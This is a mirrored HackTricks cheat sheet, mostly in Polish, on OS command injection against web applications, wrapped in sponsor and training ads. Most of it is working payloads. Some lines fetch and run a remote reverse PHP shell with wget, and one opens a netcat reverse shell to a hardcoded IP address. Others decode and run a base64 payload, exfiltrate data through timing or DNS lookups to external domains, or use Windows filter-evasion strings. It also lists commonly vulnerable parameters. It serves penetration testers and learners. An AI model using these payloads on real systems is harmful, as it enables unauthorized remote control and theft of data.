mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-26 11:55:06 +00:00
172 lines
7.4 KiB
Markdown
172 lines
7.4 KiB
Markdown
|
# Command Injection
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
**Get a hacker's perspective on your web apps, network, and cloud**
|
||
|
|
||
|
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
|
||
|
|
||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||
|
|
||
|
## What is command Injection?
|
||
|
|
||
|
**Command injection** pozwala na wykonanie dowolnych poleceń systemu operacyjnego przez atakującego na serwerze hostującym aplikację. W rezultacie aplikacja i wszystkie jej dane mogą być całkowicie skompromitowane. Wykonanie tych poleceń zazwyczaj pozwala atakującemu uzyskać nieautoryzowany dostęp lub kontrolę nad środowiskiem aplikacji i systemem bazowym.
|
||
|
|
||
|
### Context
|
||
|
|
||
|
W zależności od **tego, gdzie twoje dane wejściowe są wstrzykiwane**, może być konieczne **zakończenie cytowanego kontekstu** (używając `"` lub `'`) przed poleceniami.
|
||
|
|
||
|
## Command Injection/Execution
|
||
|
```bash
|
||
|
#Both Unix and Windows supported
|
||
|
ls||id; ls ||id; ls|| id; ls || id # Execute both
|
||
|
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
|
||
|
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
|
||
|
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
|
||
|
ls %0A id # %0A Execute both (RECOMMENDED)
|
||
|
|
||
|
#Only unix supported
|
||
|
`ls` # ``
|
||
|
$(ls) # $()
|
||
|
ls; id # ; Chain commands
|
||
|
ls${LS_COLORS:10:1}${IFS}id # Might be useful
|
||
|
|
||
|
#Not executed but may be interesting
|
||
|
> /var/www/html/out.txt #Try to redirect the output to a file
|
||
|
< /etc/passwd #Try to send some input to the command
|
||
|
```
|
||
|
### **Ominięcia** Ograniczeń
|
||
|
|
||
|
Jeśli próbujesz wykonać **dowolne polecenia wewnątrz maszyny linux** zainteresuje Cię przeczytanie o tych **Ominięciach:**
|
||
|
|
||
|
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
|
||
|
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
### **Przykłady**
|
||
|
```
|
||
|
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
|
||
|
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
|
||
|
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
|
||
|
```
|
||
|
### Parametry
|
||
|
|
||
|
Oto 25 najważniejszych parametrów, które mogą być podatne na wstrzykiwanie kodu i podobne luki RCE (z [link](https://twitter.com/trbughunters/status/1283133356922884096)):
|
||
|
```
|
||
|
?cmd={payload}
|
||
|
?exec={payload}
|
||
|
?command={payload}
|
||
|
?execute{payload}
|
||
|
?ping={payload}
|
||
|
?query={payload}
|
||
|
?jump={payload}
|
||
|
?code={payload}
|
||
|
?reg={payload}
|
||
|
?do={payload}
|
||
|
?func={payload}
|
||
|
?arg={payload}
|
||
|
?option={payload}
|
||
|
?load={payload}
|
||
|
?process={payload}
|
||
|
?step={payload}
|
||
|
?read={payload}
|
||
|
?function={payload}
|
||
|
?req={payload}
|
||
|
?feature={payload}
|
||
|
?exe={payload}
|
||
|
?module={payload}
|
||
|
?payload={payload}
|
||
|
?run={payload}
|
||
|
?print={payload}
|
||
|
```
|
||
|
### Time based data exfiltration
|
||
|
|
||
|
Ekstrakcja danych: znak po znaku
|
||
|
```
|
||
|
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
|
||
|
real 0m5.007s
|
||
|
user 0m0.000s
|
||
|
sys 0m0.000s
|
||
|
|
||
|
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
|
||
|
real 0m0.002s
|
||
|
user 0m0.000s
|
||
|
sys 0m0.000s
|
||
|
```
|
||
|
### DNS based data exfiltration
|
||
|
|
||
|
Na podstawie narzędzia z `https://github.com/HoLyVieR/dnsbin`, również hostowanego na dnsbin.zhack.ca
|
||
|
```
|
||
|
1. Go to http://dnsbin.zhack.ca/
|
||
|
2. Execute a simple 'ls'
|
||
|
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
|
||
|
```
|
||
|
|
||
|
```
|
||
|
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
|
||
|
```
|
||
|
Narzędzia online do sprawdzania wycieków danych opartych na DNS:
|
||
|
|
||
|
* dnsbin.zhack.ca
|
||
|
* pingb.in
|
||
|
|
||
|
### Ominięcie filtrów
|
||
|
|
||
|
#### Windows
|
||
|
```
|
||
|
powershell C:**2\n??e*d.*? # notepad
|
||
|
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
|
||
|
```
|
||
|
#### Linux
|
||
|
|
||
|
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
|
||
|
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
|
||
|
{% endcontent-ref %}
|
||
|
|
||
|
## Lista wykrywania ataków brute-force
|
||
|
|
||
|
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}
|
||
|
|
||
|
## Odniesienia
|
||
|
|
||
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
|
||
|
* [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Wsparcie dla HackTricks</summary>
|
||
|
|
||
|
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
**Uzyskaj perspektywę hakera na swoje aplikacje internetowe, sieć i chmurę**
|
||
|
|
||
|
**Znajdź i zgłoś krytyczne, podatne na ataki luki z rzeczywistym wpływem na biznes.** Użyj naszych 20+ niestandardowych narzędzi do mapowania powierzchni ataku, znajdowania problemów z bezpieczeństwem, które pozwalają na eskalację uprawnień, oraz użyj zautomatyzowanych exploitów do zbierania niezbędnych dowodów, przekształcając swoją ciężką pracę w przekonujące raporty.
|
||
|
|
||
|
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|